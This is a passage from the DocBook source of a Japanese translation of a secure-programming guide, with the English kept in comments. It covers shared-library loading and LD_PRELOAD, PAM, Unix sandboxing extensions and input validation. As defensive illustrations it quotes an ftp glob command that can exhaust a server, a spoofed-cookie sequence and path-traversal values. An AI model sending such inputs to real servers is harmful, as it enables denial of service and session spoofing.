specific functions in a library when executing a particular program.
This is a real advantage of Unix-like systems over
Windows-like systems; I believe Unix-like systems have a much better system
for handling library updates, one reason that Unix and Linux systems are reputed
to be more stable than Windows-based systems.
-->
ライブラリに名前を付けたり、シンボリックリンクを張る場合に特別な約束事が存在
します。
その結果として、ライブラリを新しくしても、古くて、バックワード・コンパチ
ビリティがないバージョンのライブラリをサポートできます。
また、特定のライブラリや特別なプログラムを実行する時に、あるライブラリの特定
の関数だけを変更する方法も複数あります。
Unix ライクなシステムが Windows ライクなシステムと比べて、極めて優れている点
がこれです。Unix ライクなシステムはライブラリの更新を行う点では、より優れた
システムだと思います。この優れた点が一因となり、Windows ベースのシステムより
Unix や Linux システムの方が安定していると考えています。
</para>

<para>
<!--
On GNU glibc-based systems, including all Linux systems,
the list of directories automatically searched during program start-up is
stored in the file /etc/ld.so.conf.
Many Red Hat-derived distributions don't normally
include <filename>/usr/local/lib</filename>
in the file <filename>/etc/ld.so.conf</filename>.
I consider this a bug, and adding <filename>/usr/local/lib</filename> to
<filename>/etc/ld.so.conf</filename>
is a common ``fix'' required to run many programs on Red Hat-derived systems.
If you want to just override a few functions in a library, but keep the
rest of the library, you can enter the names of overriding libraries
(.o files) in <filename>/etc/ld.so.preload</filename>;
these ``preloading'' libraries will take precedence over the standard set.
This preloading file is typically used for emergency patches;
a distribution usually won't include such a file when delivered.
Searching all of these directories at program start-up would be too
time-consuming, so a caching arrangement is actually used.
The program ldconfig(8) by default reads in the file /etc/ld.so.conf,
sets up the appropriate symbolic links in the dynamic link directories
(so they'll follow the standard conventions),
and then writes a cache to /etc/ld.so.cache that's then used by other
programs.
So, ldconfig has to be run whenever a DLL is added, when a DLL is removed,
or when the set of DLL directories changes; running ldconfig is often
one of the steps performed by package managers
when installing a library.
On start-up, then, a program uses the dynamic loader to
read the file /etc/ld.so.cache and then load the libraries it needs.
-->
Linux システムすべてを含む GNU glibc ベースのシステムでは、ディレクトリ
の一覧は /etc/ld.so.conf に保存してあり、プログラムは起動する間に自動的に
検索しています。
Red Hat がベースとなっているディストリビューションでは、普通は 
<filename>/usr/local/lib</filename> は <filename>/etc/ld.so.conf</filename>
に記述してありません。
私はこれをバグの 1 つだと見なしています。<filename>/usr/local/lib</filename> 
を <filename>/etc/ld.so.conf</filename> に追加するのは、プログラムの多くを
動かすのに必要な作業です。この作業は、Red Hat がベースとなっているシステムで
共通の「フィックス」作業になっています。
あるライブラリの関数をいくつかだけ変更したいが、その他はそのまま使いたい
場合は、優先して使いたいライブラリ(.o ファイル)の名前を 
<filename>/etc/ld.so.preload</filename> に記入してください。
この「先読み(preloading)」ライブラリは、標準で用意してあるものに先がけて
ロードされます。
この先読みファイルは、緊急パッチ用によく使います。
ディストリビューションでは、配布時にはそのようなファイルは使用しません。
起動時にディレクトリをすべて検索するのはあまりに時間の無駄なので、実際には
キャッシュを使って処理しています。
ldconfig(8)はデフォルトで /etc/ld.so.conf を読んで、ダイナミックリンク・
ライブラリのあるディレクトリにシンボリック・リンクを適切に張って設定し
(したがって、標準的な慣例にしたがった方が良い)、キャッシュ情報を 
/etc/ld.so.cache に書きます。他のプログラムはそのキャッシュを利用します。
つまり、ldconfig は DLL が追加されたり、DLL が削除されたり、DLL の
ディレクトリごと変更されたりした場合には必ず動かさなければいけません。
ライブラリをインストールした時にパッケージ・マネージャが作業の 1 つと
して ldconfig を動かす場合がよくあります。
プログラムを起動すると、ダイナミック・ローダーを使って /etc/ld.so.cache を
読み、必要となるライブラリをロードします。
</para>

<para>
<!--
Various environment variables can control this process, and in fact
there are environment variables that permit you to
override this process (so, for example, you can temporarily
substitute a different library for this particular execution).
In Linux,
the environment variable
LD&lowbar;LIBRARY&lowbar;PATH is a colon-separated set of directories where libraries
are searched for first, before the standard set of directories;
this is useful when debugging a new library or using a nonstandard
library for special purposes, but be sure you trust those who can
control those directories.
The variable LD&lowbar;PRELOAD lists object files with functions that override
the standard set, just as /etc/ld.so.preload does.
The variable LD&lowbar;DEBUG, displays debugging information; if set
to ``all'', voluminous information about the dynamic linking process
is displayed while it's occurring.
-->
さまざまな環境変数がこの過程をコントロールできます。実際、この過程を変更して
しまう環境変数も存在します(たとえば、一時的に別のライブラリに置き換えて、実行
できます)。
Linux では、環境変数 LD&lowbar;LIBRARY&lowbar;PATH はコロン(:)で区切って
記述してあるディレクトリの集まりで、ライブラリをまずここから検索し、その後に
標準的なディレクトリを検索します。
新しいライブラリをデバッグしたり、特定用途のために非標準のライブラリを
使用する時に役に立ちます。ただ、そのディレクトリを管理できる人間を信頼する
ことになります。注意してください。
環境変数 LD&lowbar;PRELOAD はオブジェクトファイルの一覧で、標準的なライブラリ
から変更する関数を含んでいます。/etc/ld.so.preload がまさにそれです。
環境変数 LD&lowbar;DEBUG はデバッグ情報を表示します。「all」と指定すると、
ダイナミックリンクしているプロセスについて、実行中に膨大な情報を表示します。
</para>

<para>
<!--
Permitting user control over dynamically linked libraries
would be disastrous for setuid/setgid programs if special measures
weren't taken.
Therefore, in the GNU glibc implementation, if the program is setuid or setgid
these variables (and other similar variables) are ignored or greatly
limited in what they can do.
The GNU glibc library determines if a program is setuid or setgid
by checking the program's credentials;
if the UID and EUID differ, or the GID and the EGID differ, the
library presumes the program is setuid/setgid (or descended from one)
and therefore greatly limits its abilities to control linking.
If you load the GNU glibc libraries, you can see this; see especially
the files elf/rtld.c and sysdeps/generic/dl-sysdep.c.
This means that if you cause the UID and GID to equal the EUID and EGID,
and then call a program, these variables will have full effect.
Other Unix-like systems handle the situation differently but for the
same reason: a setuid/setgid program should not be unduly affected
by the environment variables set.
-->
ユーザがダイナミックリンク・ライブラリをコントロールできるようになると、
何らかの手当てをしない限り、setuid や setgid したプログラムが面倒なことに
なります。
そのため、GNU glibc の実装では、プログラムに setuid や setgid してあると
これらの環境変数(加えて同じような変数も)を無視するか、動作に大幅な制限を
かけます。
GNU glib ライブラリは、プログラムの権限をチェックして setuid もしくは setgid 
を判断しています。
uid と euid が違っているか、gid と egid が違っていれば、ライブラリはその
プログラムが setuid もしくは setgid(もしくはそれを継承)していると仮定し、
その結果、機能を大幅に制限し、リンクを管理します。
GNU glib ライブラリをロードしてみればわかります。特に elf/rtld.c と 
sysdeps/generic/dl-sysdep.c を見てください。
uid と gid を euid と egid に等しくしてプログラムを呼び出せば、環境変数は
機能をすべて働かせます。
他の Unix ライクなシステムでは、理由は同様である点は別として、状況が変わり
ます。setuid もしくは setgid したプログラムは環境変数にむやみに影響を受ける
べきではありません。
</para>

<para>
<!--
For Linux systems, you can get more information from my document, the
<ulink url="http://www.dwheeler.com/program-library"><emphasis>Program Library HOWTO</emphasis></ulink>.
-->
Linux システムについては、私の著作である 
<ulink url="http://www.dwheeler.com/program-library"><emphasis>Program Library HOWTO</emphasis></ulink>
から情報をさらに得られます。
</para>

</sect1>

<sect1 id="audit">
<!-- <title>Audit</title> -->
<title>Audit(監査)</title>

<para>
<!--
Different Unix-like systems handle auditing differently.
In Linux, the most common ``audit'' mechanism is syslogd(8), usually working
in conjunction with klogd(8).
You might also want to look at wtmp(5), utmp(5), lastlog(8), and acct(2).
Some server programs (such as the Apache web server)
also have their own audit trail mechanisms.
According to the FHS, audit logs should be stored in /var/log or its
subdirectories.
-->
Unix ライクなシステムは、それぞれ異なる方法で監査しています。
Linux で最も一般的な「監査」の仕組みは syslogd(8)で、klogd(8)とともに
動いています。
wtmp(5)や utmp(5)、lastlog(8)、acct(2)も参照することをお勧めします。
サーバプログラム(Apache Web サーバのようなもの)は、独自に痕跡を監査する
仕組みを持っているものもあります。
FHS によれば、監査ログは /var/log もしくは、そのサブディレクトリに保存した
方がよい、としています。

</para>

</sect1>

<sect1 id="pam">
<title>PAM</title>

<para>
<!--
Sun Solaris and nearly all Linux systems use the
Pluggable Authentication Modules (PAM) system for authentication.
PAM permits run-time configuration of authentication methods
(e.g., use of passwords, smart cards, etc.).
See <xref linkend="use-pam"> for more information on using PAM.
-->
Sun Solaris やほとんどすべての Linux システムでは認証が必要な時に、Pluggable 
Authentication Modules(PAM: 差し替え可能な認証モジュール)を使用します。
PAM を使えば、実行時に認証方法の設定を変更できるようになります(たとえば
パスワードやスマートカード等の使用)。
PAM の利用方法について詳細な情報は、<xref linkend="use-pam"> を見てください。
【訳註：スマートカード(smart card)とは、プラスティックのカード上に IC や
メモリ等のチップを載せたカードを指します。日本では IC カードと呼ぶケースが
多いようです。従来の磁気カードと比べると、より多くの情報を格納できるだけでは
なく、プログラムをインストールして実行することが可能である点が大きく異なり
ます】
</para>

</sect1>

<sect1 id="unix-extensions">
<!-- <title>Specialized Security Extensions for Unix-like Systems</title> -->
<title>Unix ライクなシステムに固有なセキュリティ拡張機能</title>

<para>
<!--
A vast amount of research and development has gone into
extending Unix-like systems to support security needs of various
communities.
For example, several Unix-like systems have been extended to support the
U.S. military's desire for multilevel security.
If you're developing software, you should try to design your software
so that it can work within these extensions.
-->
Unix ライクなシステムを拡張すべく、さまざまなコミュニティがいろいろな調査
や開発に力を注いでいます。
たとえば、Unix ライクなシステムのいくつかでは機能を拡張して、米軍が求める
階層構造を持ったセキュリティをサポートしています。
ソフトウェアを開発するなら、設計する時にこの拡張機能を実現できるように
頑張ってみてください。
</para>

<para>
<!--
FreeBSD has a new system call,
<ulink url="http://docs.freebsd.org/44doc/papers/jail/jail.html">jail(2)</ulink>.
The jail system call supports sub-partitioning an environment
into many virtual machines (in a sense, a ``super-chroot'');
its most popular use has been to provide
virtual machine services for Internet Service Provider environments. 
Inside a jail, all processes (even those owned by root)
have the the scope of their requests limited to the jail.
When a FreeBSD system is booted up after a fresh install,
no processes will be in jail.
When a process is placed in a jail, it, and any descendants of
that process created will be in that jail.
Once in a jail,
access to the file name-space is restricted in the style of chroot(2)
(with typical chroot escape routes blocked),
the ability to bind network resources is limited to a specific IP address,
the ability to manipulate system resources and perform privileged operations
is sharply curtailed, and the ability to interact with other processes
is limited to only processes inside the same jail. 
Note that each jail is bound to a single IP address;
processes within the jail may not make use of any other IP
address for outgoing or incoming connections.
-->
FreeBSD は新しいシステムコールである 
<ulink url="http://docs.freebsd.org/44doc/papers/jail/jail.html">jail(2)</ulink>
を持っています。
jail というシステムコールは環境を複数に分割し、仮想マシンをたくさん
サポートします(ある意味、「スーパー chroot」と言えます)。
利用方法としては、インターネット・サービス・プロバイダの環境で、仮想マシンの
サービスとして利用するのが大半です。
1 つ の jail の内部では、すべてのプロセス(root が所有者であっても)はその 
jail の範囲に命令が限定されます。
FreeBSD システムを新規インストールした後にブートすると、 jail に入るプロセス
は 1 つもありません。
プロセスが jail に入ると、そのプロセスとそこから派生するプロセスはすべて 
jail に入ります。
jail に入ってしまえば、ファイル名空間へのアクセスは chroot(2)スタイルで制限
を受けます(chroot を避けようとしてもブロックされます)。
ネットワークリソースを利用する機能は、特定の IP アドレスに制限され、システム
リソースの操作や権限をいじる行為は、大幅に切り詰められ、他のプロセスとの
やりとりは、同じ jail の中のプロセスにだけ制限されます。
jail それぞれは、1 つの IP アドレスを使っています。jail の中のプロセスは、
他の IP アドレスを使って外部とやりとりはできない点に注意してください。
【訳註：jail(2)の日本語マニュアルは<ulink url="http://www.jp.freebsd.org/cgi/mroff.cgi?subdir=man&amp;lc=1&amp;cmd=&amp;man=jail&amp;dir=jpman-5.0.0%2Fman&amp;sect=0">http://www.jp.freebsd.org/cgi/mroff.cgi?subdir=man&amp;lc=1&amp;cmd=&amp;man=jail&amp;dir=jpman-5.0.0%2Fman&amp;sect=0</ulink>
にあります】
</para>

<para>
<!--
Some extensions available in Linux, such as POSIX capabilities and
special mount-time options, have already been discussed.
Here are a few of these efforts for Linux systems for creating
restricted execution environments; there are many different approaches.
The U.S. National Security Agency (NSA) has developed
<ulink url="http://www.nsa.gov/selinux">Security-Enhanced Linux (Flask)</ulink>,
which supports defining a security policy in a specialized language
and then enforces that policy.
The <ulink url="http://medusa.fornax.sk">Medusa DS9</ulink>
extends Linux by supporting, at the kernel level,
a user-space authorization server.
<ulink url="http://www.lids.org">LIDS</ulink>
protects files and processes, allowing administrators to
``lock down'' their system.
The ``Rule Set Based Access Control'' system,
<ulink url="http://www.rsbac.de">RSBAC</ulink>
is based on the Generalized Framework for Access Control (GFAC)
by Abrams and LaPadula and provides a flexible system of access
control based on several kernel modules.
<ulink url="http://subterfugue.org">Subterfugue</ulink>
is a framework for ``observing and playing with the reality of software'';
it can intercept system calls and change their parameters
and/or change their return values to implement sandboxes, tracers,
and so on;
it runs under Linux 2.4 with no changes (it doesn't require
any kernel modifications).
<ulink url="http://www.cs.berkeley.edu/~daw/janus">Janus</ulink>
is a security tool for sandboxing untrusted applications
within a restricted execution environment.
Some have even used
<ulink url="http://user-mode-linux.sourceforge.net">User-mode Linux</ulink>,
which implements ``Linux on Linux'', as a sandbox implementation.
Because there are so many different approaches to implementing more
sophisticated security models, Linus Torvalds has requested that a
generic approach be developed so different security policies can be
inserted; for more information about this, see
<ulink url="http://mail.wirex.com/mailman/listinfo/linux-security-module">
http://mail.wirex.com/mailman/listinfo/linux-security-module</ulink>.
-->
Linux では拡張機能が利用可能です。たとえば先に論じた POSIX ケイパビリティや
マウント時の特殊なオプションがそれに当たります。
Linux システムで実行環境を制限する試みをいくつか挙げておきます。
アプローチの仕方はさまざまです。
U.S. National Security Agency(NSA)では 
<ulink url="http://www.nsa.gov/selinux">Security-Enhanced Linux (Flask)</ulink> 
を開発し、特殊な言語でセキュリティ・ポリシを定義し、それに基づきポリシを実施
します。
<ulink url="http://medusa.fornax.sk">Medusa DS9</ulink> は Linux を拡張し、
カーネルレベルでユーザ空間で動く認証サーバをサポートしています。
<ulink url="http://www.lids.org">LIDS</ulink> は、ファイルやプロセスを保護し、
管理者にシステムを「封鎖(lock down)」する権限を与えています。
「ルールベースのアクセス制御」システム 
<ulink url="http://www.rsbac.de">RSBAC</ulink> は、アクセス制御に汎用的な
フレームワーク(Generalized Framework for Access Control (GFAC))を用いて
います。これは Abrams 氏と LaPadula 氏によって作られ、複数のカーネル
モジュールによって、柔軟なアクセス制御を実現しています。
<ulink url="http://subterfugue.org">Subterfugue</ulink>は、「ソフトウェア
の実態をもって監視、実行する」というフレームワークです。サンドボックスや
トレーサ等を実行することで、システムコールを横取りし、そのパラメタや返り値
を変更します。
Linux 2.4 で動作し、何も変更はいりません(カーネルモジュールの追加は何も必要
ありません)。
<ulink url="http://www.cs.berkeley.edu/~daw/janus">Janus</ulink> はセキュリ
ティツールで、制限された実行環境下で信頼できないアプリケーションをサンド
ボックスに閉じ込めます。
<ulink url="http://user-mode-linux.sourceforge.net">User-mode Linux</ulink>
は、サンドボックスの実装の 1 つで、「Linux 上で Linux を動かす」ことを実現
しています。
このようにさまざまなアプローチによって、より洗練したセキュリティモデルを
実装していますので、Linus Torvalds 氏は、異なるセキュリティ・ポリシでも採用
できるような汎用的アプローチを開発して欲しい、と要望しています。詳しくは、
<ulink url="http://mail.wirex.com/mailman/listinfo/linux-security-module">
http://mail.wirex.com/mailman/listinfo/linux-security-module</ulink> を
見てください。
</para>
<para>
<!--
There are many other extensions for security on various Unix-like systems,
but these are really outside the scope of this document.
-->
さまざまな Unix ライクなシステム上で、他にもいろいろなセキュリティ上の拡張
が存在しています。しかし、このドキュメントでは範囲外なので扱いません。
</para>
</sect1>

</chapter>

<chapter id="input">
<!-- <title>Validate All Input</title> -->
<title>入力されるものすべてを検証すること</title>

<epigraph>
<!-- <attribution>Proverbs 2:12 (NIV)</attribution> -->
<attribution>旧約聖書 箴言 2 章 12 節</attribution>
<para>
<!--
Wisdom will save you from the ways of wicked men,
from men whose words are perverse...
-->
あなたは悪い道から救い出され、暴言をはく者を免れることができる。
</para>
</epigraph>

<para>
<!--
Some inputs are from untrustable users, so those inputs must be validated
(filtered) before being used.
You should determine what is legal and reject anything that does
not match that definition.
Do not do the reverse (identify what is illegal and write code to
reject those cases),
because you are likely to forget to handle an important case of illegal input.
-->
入力には、信頼できないユーザからのものもあります。そこで、使用する前にそれら
を検証(選別)する必要があります。
まず何が正しいかを定義して、その定義にマッチしないものすべてを拒否するように
しなければいけません。
その逆の定義の仕方をしてはいけません(何が不正かを定義し、それらを拒否する)。
なぜなら、重大なケースをうっかり定義し忘れてしまうかもしれないからです。
</para>

<para>
<!--
There is a good reason for identifying ``illegal'' values, though, and that's
as a set of tests (usually just executed in your head)
to be sure that your validation code is thorough.
When I set up an input filter,
I mentally attack the filter to see if there are
illegal values that could get through.
Depending on the input, here are a few examples of common ``illegal'' values
that your input filters may need to prevent:
the empty string,
".", "..", "../", anything starting with "/" or ".",
anything with "/" or "&amp;" inside it, any control characters (especially NIL
and newline), and/or
any characters with the ``high bit'' set (especially
values decimal 254 and 255).
Again, your code should not be checking for ``bad'' values; you should do
this check mentally to be sure that your pattern ruthlessly limits input
values to legal values.
If your pattern isn't sufficiently narrow, you need to carefully
re-examine the pattern to see if there are other problems.
-->
ですが、検証コードが完全なのかを確認するために、テスト用(たいていは頭の中
で実行)で「不正な」値を定義するのは良いことです。
私は入力フィルタを設定した時には、頭の中でフィルタを攻撃してみて、不正な値
がフィルタを通り抜けないかを見てみます。
入力内容にもよりますが、ここでは代表的ないくつかの「不正な値」の例をあげて
みます。これらは入力時にフィルタで防御する必要がある値です。
空文字や「.」、「..」、「../」、「/」や「.」ではじまる文字列や「/」もしくは
「&amp;」を含む文字列、すべての制御文字(特に NIL や改行)もしくは「ハイビット」
の文字(特に十進数で 254 と 255)がそれです。
繰り返しますが、コードは「悪い」値でチェックすべきではありません。頭の中で
あなたが書いたパタンが容赦なく入力を制限して、正しい値だけを通すのか
どうかを確かめるためです。
もしそのパタンで十分に制限していなければ、注意深くパタンを再調査して、
他の問題がないか確認する必要があります。
</para>

<para>
<!--
Limit the maximum character length (and minimum length if appropriate),
and be sure to not lose control when such lengths are exceeded
(see <xref linkend="buffer-overflow"> for more about buffer overflows).
-->
最大文字数(適切なら最小文字数も)を制限して、文字数を超えても制御不能に
ならないようにしてください
(バッファオーバーフローについての詳細は <xref linkend="buffer-overflow"> 
を見てください)。
</para>

<para>
<!--
Here are a few common data types, and things you should validate
before using them from an untrusted user:
-->
ここではデータタイプとしてよく使われるものをいくつか挙げます。信頼できない
ユーザからのデータを利用する前に、必ず検証するようにしてください。
<itemizedlist>
<listitem><para>
<!--
For strings, identify the legal characters or legal patterns
(e.g., as a regular expression) and reject anything not matching that form.
There are special problems when strings contain control characters
(especially linefeed or NIL) or metacharacters (especially shell
metacharacters); it is often
best to ``escape'' such metacharacters immediately when the input is received so
that such characters are not accidentally sent.
CERT goes further and recommends escaping all characters
that aren't in a list of characters not needing escaping [CERT 1998, CMU 1998].
See <xref linkend="handle-metacharacters">
for more information on metacharacters.
-->
文字列に対しては、正しい文字やパタン(たとえば、正規表現として)を識別し、
それに沿わないものすべてを拒否してください。
文字列に制御文字(特に改行や NIL)やメタキャラクタ(特にシェルのメタキャラクタ)
があると特殊な問題が発生します。入力があったら、速やかにメタキャラクタを
「エスケープ」するのが最善です。入力が間違って渡らないようにするためです。
CERT はそれ以上に、[CERT 1998、CMU 1998] にあるエスケープする必要のない文字
のリストに載っていない文字すべてをエスケープするように推奨しています。
メタキャラクタについての詳しい情報は、<xref linkend="handle-metacharacters"> 
を見てください。
</para></listitem>

<listitem><para>
<!--
Limit all numbers to the minimum (often zero) and maximum allowed values.
-->
数字すべてに対して、許容できる最小値(たいていはゼロ)と最大値を設けてください。
</para></listitem>

<listitem><para>
<!--
A full email address checker is actually quite complicated, because there
are legacy formats that greatly complicate validation if you need
to support all of them; see mailaddr(7) and IETF RFC 822 [RFC 822]
for more information if such checking is necessary.
Often you can simplify and only permit the ``common'' Internet
address formats.
-->
電子メールのアドレスを完全にチェックするのは、現実的にとても困難です。
というのも、すべてのケースを真面目にサポートしようとすると、アドレスの中には
正しい形式ではあるものの、非常に複雑な検証を必要とするアドレスが存在するから
です。もしそのようなチェックが必要なら、詳細は mailaddr(7)と IETF RFC 822
[RFC 822]を見てください。
たいていは、「一般的な」インターネット・アドレス形式だけを単純に許可すれば
よいでしょう。
【訳注：IETFは、Internet Engineering Task Force の略称で、インターネットに
関連する技術の標準化を進めるために設立された団体です。ここが発行する文書が 
RFC(Requests For Comment)です】
</para></listitem>

<listitem><para>
<!--
Filenames should be checked; usually you will want to not include ``..''
(higher directory) as a legal value from an untrusted user, though
it depends on circumstances.
You might also want to list only the characters you will permit,
in particular omitting newlines (which can cause problems).
In filenames it's best to prohibit any change in directory, e.g., by not
including ``/'' in the set of legal characters.
Often you shouldn't support ``globbing'', that is,
expanding filenames using ``*'', ``?'', ``['' (matching ``]''),
and possibly ``{'' (matching ``}'').
For example, the command ``ls *.png'' does a glob on ``*.png'' to list
all PNG files.
The C fopen(3) command (for example) doesn't do globbing, but the command
shells perform globbing by default, and in C you can request globbing
using (for example) glob(3).
If you don't need globbing, just use the calls that don't do it where
possible (e.g., fopen(3)) and/or disable them
(e.g., escape the globbing characters in a shell).
Be especially careful if you want to permit globbing.
Globbing can be useful, but complex globs can take a great deal of computing
time.
For example, on some ftp servers, performing a few of these requests can
easily cause a denial-of-service of the entire machine:
-->
ファイル名をチェックしてください。普通、信頼できないユーザからは、「..」
(上位ディレクトリ)という値を正しいものとして受け取りたくないでしょう。
しかし、それは環境に依存しています。
また、許可した文字だけを載せてもよいかもしれません。特に改行(問題を起こす
可能性があります)は、問題なければ削除してください。
ファイル名においては、ディレクトリにおけるどんな変更も禁止するのが最善の策
です。たとえば、「/」を正しい文字として扱わない等。
「glob」をサポートしてはいけません。つまりファイル名を拡張するような
「*」や「?」、「[」(「]」に対応)」さらに「{」(}に対応)」等です。
たとえば、「ls *.png」というコマンドは「*.png」を全 PNG ファイルのリストに 
glob します。
C の fopen(3) コマンド(たとえば)は、glob しませんが、コマンドシェルは、
デフォルトで glob します。また C では(たとえば)glob(3)を使って glob 機能を
利用できます。
glob が必要なければ、 glob しないシステムコール(たとえば fopen(3)だけをできる
だけ使用するか、無効にしてください(たとえばシェルで glob する文字をエスケープ
する)。
glob を許可するなら、細心の注意を払ってください。
glob は便利に使えますが、glob を複雑にするとコンピュータにかなりの負荷を
かけることになります。
たとえば、ftp サーバには glob 命令をいくつか要求すると、いとも簡単に
マシン全体でサービス拒否攻撃状態になるものもあります。
<programlisting>
ftp&gt; ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
</programlisting>
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- http://lwn.net/2001/0322/a/ftpd-dos.php3 -->
<!--
Trying to allow globbing, yet limit globbing patterns, is probably futile.
Instead, make sure that any such programs run as a separate process and
use process limits to limit the amount of CPU and other resources
they can consume.
See <xref linkend="minimize-resources"> for more information on this
approach, and see <xref linkend="quotas"> for more information
on how to set these limits.
-->
glob を許可しているにもかかわらず、glob するパタンに制限をかけないと、困った
ことになるでしょう。
そのようなプログラムは、独立したプロセスとして走らせ、プロセスが消費する CPU 
利用量やその他リソースに必ず制限をかけてください。
<xref linkend="minimize-resources"> にこの方法についてのさらに詳しい情報
があります。また、<xref linkend="quotas"> にこれらの制限のかけ方について
詳しい情報がありますので、見てください。
</para></listitem>

<listitem><para>
<!--
URIs (including URLs) should be checked for validity.
If you are directly acting on a URI (i.e., you're implementing a web
server or web-server-like program and the URL is a request for your data),
make sure the URI is valid, and be especially careful of URIs that
try to ``escape'' the document root (the area of the filesystem
that the server is responding to).
The most common ways to escape the document root are via ``..'' or
a symbolic link, so most servers check any ``..'' directories themselves
and ignore symbolic links unless specially directed.
Also remember to decode any encoding first (via URL encoding or
UTF-8 encoding), or an encoded ``..'' could slip through.
URIs aren't supposed to even include UTF-8 encoding, so the safest thing
is to reject any URIs that include characters with high bits set.
-->
URI(URL を含む)が妥当なのか、チェックしなければいけません。
ある URI を直接操作するなら(つまり、Web サーバや Web サーバもどきの
プログラムを実装していて、要求されるデータが URL の場合)、URI が正しいか
どうかを確認しなければなりません。また URI で特に注意を払うケースは、
ドキュメントルート(サーバが返すファイルシステム領域)を「回避」しようと
するものです。
ドキュメントルートを回避する最も一般的な方法は、「..」やシンボリック
リンクを経由する方法です。したがって大半のサーバは、どんな「..」ディレクトリ
もチェックしており、シンボリックリンクは特に指示がない限りは無視します。
また、エンコード(URL エンコードや UTF-8 エンコード)してあるものは、まず
デコードすることを忘れないでください。でないとエンコードされた「..」が
すり抜けてしまいます。
URI は UTF-8 エンコードが入ることを前提としていませんので、ハイビット文字が
入った URI すべてを拒否するのが最も安全です。
</para>
<para>
<!--
If you are implementing a system that uses the URI/URL as data,
you're not home-free at all; you need to ensure that malicious users
can't insert URIs that will harm other users.
See <xref linkend="Validating-uris">
for more information about this.
-->
データとして URI(URL)を扱うシステムの実装をしているなら、簡単にできるとは夢々
思わないでください。悪意あるユーザが他のユーザに迷惑をかけるような URI を
入れ込むことが絶対ないようにしなければいけません。
さらに詳しい情報は <xref linkend="Validating-uris"> を見てください。
</para></listitem>

<listitem><para>
<!--
When accepting cookie values, make sure to check the the domain value
for any cookie you're using
is the expected one.  Otherwise, a (possibly cracked) related site
might be able to insert spoofed cookies.
Here's an example from IETF RFC 2965 of how failing to do this check could
cause a problem:
-->
クッキーで値を受けとった時には、利用しているクッキーがどんなものであっても、
ドメイン値が予期した値であることを必ずチェックしてください。さもないと、
(おそらくクラックされた)関連サイトが偽のクッキーを入れ込んでしまう可能性が
あります。
ここでは、このIETF RFC 2965 で書いてある例をあげます。このチェックを
しくじるとどのような問題が生じるかについて記述してあります。
<itemizedlist>
<listitem><para>
<!--
         User agent makes request to victim.cracker.edu, gets back
         cookie session_id="1234" and sets the default domain
         victim.cracker.edu.
-->
		 ユーザ側が victim.cracker.edu にリクエストを出し、クッキーが
		 session_id="1234" と返ってきて、デフォルトのドメインを 
		 victim.cracker.edu に設定します。
</para></listitem>
<listitem><para>
<!--
         User agent makes request to spoof.cracker.edu, gets back cookie
         session-id="1111", with Domain=".cracker.edu".
-->
		ユーザ側は spoof.cracker.edu にリクエストを出し、クッキーが 
		Domain=".cracker.edu" で session-id="1111" と返ってきます。  
</para></listitem>
<listitem><para>
<!--
         User agent makes request to victim.cracker.edu again, and passes:
-->
		再度ユーザ側は victim.cracker.edu にリクエストを出し、下記を渡します。
<programlisting>
         Cookie: $Version="1"; session_id="1234",
                 $Version="1"; session_id="1111"; $Domain=".cracker.edu"
</programlisting>
<!--
         The server at victim.cracker.edu should detect that the second
         cookie was not one it originated by noticing that the Domain
         attribute is not for itself and ignore it.
-->
		victim.cracker.edu のサーバは、2 番目のクッキーがドメイン属性
		が自分のそれと違っていることから、自分のものではないことを検知
		し、無視しなければいけません。
</para></listitem>
</itemizedlist>
</para></listitem>
</itemizedlist>
</para>


<para>
<!--
Unless you account for them,
the legal character patterns must not include characters
or character sequences that have special meaning to either
the program internals or the eventual output:
-->
問題を解決できないなら、
正しい文字パタンには、プログラム内部や最終的な出力に対して特別な意味を
持つ文字もしくは文字列を含めてはいけません。
<itemizedlist>
<listitem><para>
<!--
A character sequence may have special meaning to the program's internal
storage format.
For example, if you store data (internally or externally) in delimited
strings, make sure that the delimiters are not permitted data values.
A number of programs
store data in comma (,) or colon (:) delimited text files;
inserting the delimiters
in the input can be a problem unless the program accounts for it (i.e.,
by preventing it or encoding it in some way).
Other characters often causing these problems include single and double quotes
(used for surrounding strings)
and the less-than sign "&lt;"
(used in SGML, XML, and HTML to indicate a tag's beginning; this is important
if you store data in these formats).
Most data formats have an escape sequence to handle these cases; use it,
or filter such data on input.
-->
ある文字の連続が、プログラムの内部に持っている書式に対して、特別な意味を持つ
場合があるかもしれません。
たとえば、保存するデータに区切りのある文字列を使うなら(内部でも外部でも)、
区切り文字をデータ値とすることを必ず禁じてください。
テキストファイルに保存してあるデータに、カンマ(,)やコロン(:)を区切りとして
使っているプログラムはたくさんあります。
入力に区切り文字が入っていて、プログラムがそれに対処(すなわちそれを阻むか、
何らかの方法でエンコードする)していなければ、問題が発生するかもしれません。
他の文字でも、これらの問題が発生する場合がよくあります。
それは、他の文字の中にシングルもしくはダブル・クォーテーション(文字列を囲む
のに使用)や小なり記号「&lt;」(SGML や XML、HTML ではタグの開始を示す識別に
使われています。これらのフォーマットでデータを保存する場合、この記号は
重要です)が入っているケースです。
大半のデータフォーマットは、エスケープシーケンスを用意して、このようなケース
に対処しています。そのエスケープシーケンスを使うか、入力データをフィルタして
ください。
</para></listitem>
<listitem><para>
<!--
A character sequence may have special meaning if sent back out to a user.
A common example of this is permitting HTML tags in data input that will later
be posted to other readers (e.g., in a guestbook or ``reader comment'' area).
However, the problem is much more general.
See <xref linkend="cross-site-malicious-content"> for a general discussion
on the topic, and see <xref linkend="filter-html"> for a specific discussion
about filtering HTML.
-->
ユーザに対してある文字の連続が戻される場合に、特別な意味を持つケースがあり
ます。
一般的な例として、HTML のタグを入力として認める場合、後になってそれを他の
ユーザにポストすることがあります(たとえば、ゲストブックや「読者のコメント」
コーナー)。
しかし、この問題は広く影響を及ぼしています。
この話題についてさらに全体的な議論は、
<xref linkend="cross-site-malicious-content"> を、HTML のフィルタリングに
ついて特化した議論は <xref linkend="filter-html"> を見てください。
</para></listitem>
</itemizedlist>
</para>

<para>
<!--
These tests should usually be centralized in one place so that the
validity tests can be easily examined for correctness later.
-->
これらのテストは 1 ヶ所で集中して行ってください。そうすれば、そのテストが
正しいかどうか、後になって簡単に調査できます。
</para>

<para>
<!--
Make sure that your validity test is actually correct; this is particularly
a problem when checking input that will be used by another program
(such as a filename, email address, or URL).
Often these tests have subtle errors, producing the so-called
``deputy problem'' (where the checking program
makes different assumptions than the program that actually uses the data).
If there's a relevant standard, look at it, but also search to see if
the program has extensions that you need to know about.
-->
正しい入力をチェックするテストが、予定した通り確実に動作するようにしてくだ
